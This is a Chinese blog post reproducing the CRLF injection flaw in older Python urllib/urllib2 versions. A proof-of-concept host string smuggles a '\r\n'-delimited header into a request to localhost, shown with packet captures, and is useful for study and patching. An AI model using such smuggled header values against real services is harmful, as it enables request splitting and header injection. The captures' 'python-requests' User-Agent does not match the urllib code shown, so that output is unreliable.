文章最后更新时间为:2022 年 03 月 25 日 17:33:01 Loading... # 漏洞原理 > Python 2.x版本至2.7.16版本中的urllib2和Python 3.x版本至3.7.2版本中的urllib存在注入漏洞。该漏洞源于用户输入构造命令、数据结构或记录的操作过程中,网络系统或产品缺乏对用户输入数据的正确验证,未过滤或未正确过滤掉其中的特殊元素,导致系统或产品产生解析或解释方式错误。 > CRLF即为 "回车+换行" (\r\n)的简称,十六进制码为0x0d和0x0a。HTTP中HTTP header和http Body是用两个\n\r来区别的,浏览器根据这两个\r\n来取出HTTP内容并显示出来。因此,当我们能控制HTTP 消息头中的字符,注入一些恶意的换行就能够诸如一些例如会话Cookie或者HTML body的代码。 # 影响版本 > Python 2.x版本至2.7.16版本中的urllib2 > Python 3.x版本至3.7.2版本中的urllib # 漏洞复现 正常请求 ```python import urllib.request host='127.0.0.1' url=f'http://{host}/' resp=urllib.request.urlopen(url) print(resp.read()) ``` 抓包 ``` GET / HTTP/1.1 Host: 127.0.0.1 User-Agent: python-requests/2.22.0 Accept-Encoding: gzip, deflate Accept: */* Connection: close ``` 漏洞请求 ```python import urllib.request host='127.0.0.1?\r\nTT: wwwww\r\n' url=f'http://{host}/' resp=urllib.request.urlopen(url) print(resp.read()) ``` 抓包 ``` GET /? TT: wwwww HTTP/1.1 Host: 127.0.0.1 User-Agent: python-requests/2.22.0 Accept-Encoding: gzip, deflate Accept: */* Connection: close ``` Last modification:March 25, 2022 © Allow specification reprint Support Appreciate the author AliPayWeChat Like 0 如果觉得我的文章对你有用,请随意赞赏